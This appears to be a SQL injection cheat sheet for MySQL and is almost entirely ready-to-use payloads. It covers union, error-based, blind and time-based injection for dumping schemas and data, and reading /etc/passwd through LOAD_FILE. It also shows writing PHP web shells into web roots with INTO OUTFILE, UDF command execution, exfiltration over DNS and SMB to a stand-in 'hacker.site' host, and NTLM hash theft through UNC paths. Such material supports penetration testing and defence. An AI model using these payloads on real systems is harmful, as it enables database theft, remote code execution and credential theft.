## MYSQL Union Based

### Detect columns number

First you need to know the number of columns

##### Using `order by` or `group by`

Keep incrementing the number until you get a False response.
Even though GROUP BY and ORDER BY have different funcionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.

```sql
1' ORDER BY 1--+	#True
1' ORDER BY 2--+	#True
1' ORDER BY 3--+	#True
1' ORDER BY 4--+	#False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+	True
```
or 
```sql
1' GROUP BY 1--+	#True
1' GROUP BY 2--+	#True
1' GROUP BY 3--+	#True
1' GROUP BY 4--+	#False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+	True
```
##### Using `order by` or `group by` Error Based
Similar to the previous method, we can check the number of columns with 1 request if error showing is enabled.
```sql
1' ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+

# Unknown column '4' in 'order clause'
# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+	True
```
or
```sql
1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+

# Unknown column '4' in 'group statement'
# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+	True
```
##### Using `UNION SELECT` Error Based
This method works if error showing is enabled
```sql
1' UNION SELECT @--+        #The used SELECT statements have a different number of columns
1' UNION SELECT @,@--+      #The used SELECT statements have a different number of columns
1' UNION SELECT @,@,@--+    #No error means query uses 3 column
                            #-1' UNION SELECT 1,2,3--+	True
```
##### Using `LIMIT INTO` Error Based
This method works if error showing is enabled.

It is useful for finding the number of columns when the injection point is after a LIMIT clause.
```sql
1' LIMIT 1,1 INTO @--+        #The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@--+      #The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@,@--+    #No error means query uses 3 column
                              #-1' UNION SELECT 1,2,3--+	True
```
##### Using `SELECT * FROM SOME_EXISTING_TABLE` Error Based
This works if you know the table name you're after and error showing is enabled.

It will return the amount of columns in the table, not the query.

```sql
1' AND (SELECT * FROM Users) = 1--+ 	#Operand should contain 3 column(s)
                                        # This error means query uses 3 column
                                        #-1' UNION SELECT 1,2,3--+	True
```
### Extract database with information_schema

Then the following codes will extract the databases'name, tables'name, columns'name.

```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```

### Extract columns name without information_schema

Method for `MySQL >= 4.1`.

First extract the column number with 
```sql
?id=(1)and(SELECT * from db.users)=(1)
-- Operand should contain 4 column(s)
```

Then extract the column name.
```sql
?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
--Column 'id' cannot be null
```

Method for `MySQL 5`

```sql
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
--#1060 - Duplicate column name 'id'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
-- #1060 - Duplicate column name 'name'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
...
```

### Extract data without columns name 

Extracting data from the 4th column without knowing its name.

```sql
select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;
```

Injection example inside the query `select author_id,title from posts where author_id=[INJECT_HERE]`

```sql
MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
+-----------+-----------------------------------------------------------------+
| author_id | title                                                           |
+-----------+-----------------------------------------------------------------+

## MYSQL Error Based

### MYSQL Error Based - Basic

Works with `MySQL >= 4.1`

```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
```

### MYSQL Error Based - UpdateXML function

```sql
AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--
```

Shorter to read:

```sql
' and updatexml(null,concat(0x0a,version()),null)-- -
' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -
```

### MYSQL Error Based - Extractvalue function

Works with `MySQL >= 5.1`

```sql
?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
```

## MYSQL Blind

### MYSQL Blind with substring equivalent

```sql
?id=1 and substring(version(),1,1)=5
?id=1 and right(left(version(),1),1)=5
?id=1 and left(version(),1)=4
?id=1 and ascii(lower(substr(Version(),1,1)))=51
?id=1 and (select mid(version(),1,1)=4)
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
```

### MYSQL Blind using a conditional statement

TRUE: `if @@version starts with a 5`:

```sql
2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
Response:
HTTP/1.1 500 Internal Server Error
```

False: `if @@version starts with a 4`:

```sql
2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
Response:
HTTP/1.1 200 OK
```

### MYSQL Blind with MAKE_SET

```sql
AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)
```

### MYSQL Blind with LIKE

['_'](https://www.w3resource.com/sql/wildcards-like-operator/wildcards-underscore.php) acts like the regex character '.', use it to speed up your blind testing

```sql
SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
```

## MYSQL Time Based

The following SQL codes will delay the output from MySQL.

```sql
+BENCHMARK(40000000,SHA1(1337))+
'%2Bbenchmark(3200,SHA1(1))%2B'
AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))  //SHA1
RLIKE SLEEP([SLEEPTIME])
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
```

### Using SLEEP in a subselect

```powershell
1 and (select sleep(10) from dual where database() like '%')#
1 and (select sleep(10) from dual where database() like '___')# 
1 and (select sleep(10) from dual where database() like '____')#
1 and (select sleep(10) from dual where database() like '_____')#
1 and (select sleep(10) from dual where database() like 'a____')#
...
1 and (select sleep(10) from dual where database() like 's____')#
1 and (select sleep(10) from dual where database() like 'sa___')#
...
1 and (select sleep(10) from dual where database() like 'sw___')#
1 and (select sleep(10) from dual where database() like 'swa__')#
1 and (select sleep(10) from dual where database() like 'swb__')#
1 and (select sleep(10) from dual where database() like 'swi__')#
...
1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')#
```

### Using conditional statements

```sql
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
```

## MYSQL Current queries

This table can list all operations that DB is performing at the moment.

```sql
union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #

-- Dump in one shot example for the table content.
union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 #
```

## MYSQL Read content of a file

Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement`

```sql
' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
```

If you are `root` on the database, you can re-enable the `LOAD_FILE` using the following query

```sql
GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#
```

## MYSQL Write a shell

### Into outfile method

```sql
[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
```

### Into dumpfile method

```sql
[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';
```

## MYSQL Truncation

In MYSQL "`admin `" and "`admin`" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.

```sql
`username` varchar(20) not null
```

Payload: `username = "admin               a"`

## MYSQL UDF command execution

First you need to check if the UDF are installed on the server.

```powershell
$ whereis lib_mysqludf_sys.so
/usr/lib/lib_mysqludf_sys.so
```

Then you can use functions such as `sys_exec` and `sys_eval`.

```sql
$ mysql -u root -p mysql
Enter password: [...]
mysql> SELECT sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+
```


## MYSQL Out of band

```powershell
select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt';
select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt
```

### DNS exfiltration

```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))
```

### UNC Path - NTLM hash stealing

```sql
select load_file('\\\\error\\abc');
select load_file(0x5c5c5c5c6572726f725c5c616263);
select 'osanda' into dumpfile '\\\\error\\abc';
select 'osanda' into outfile '\\\\error\\abc';
load data infile '\\\\error\\abc' into table database.table_name;
```
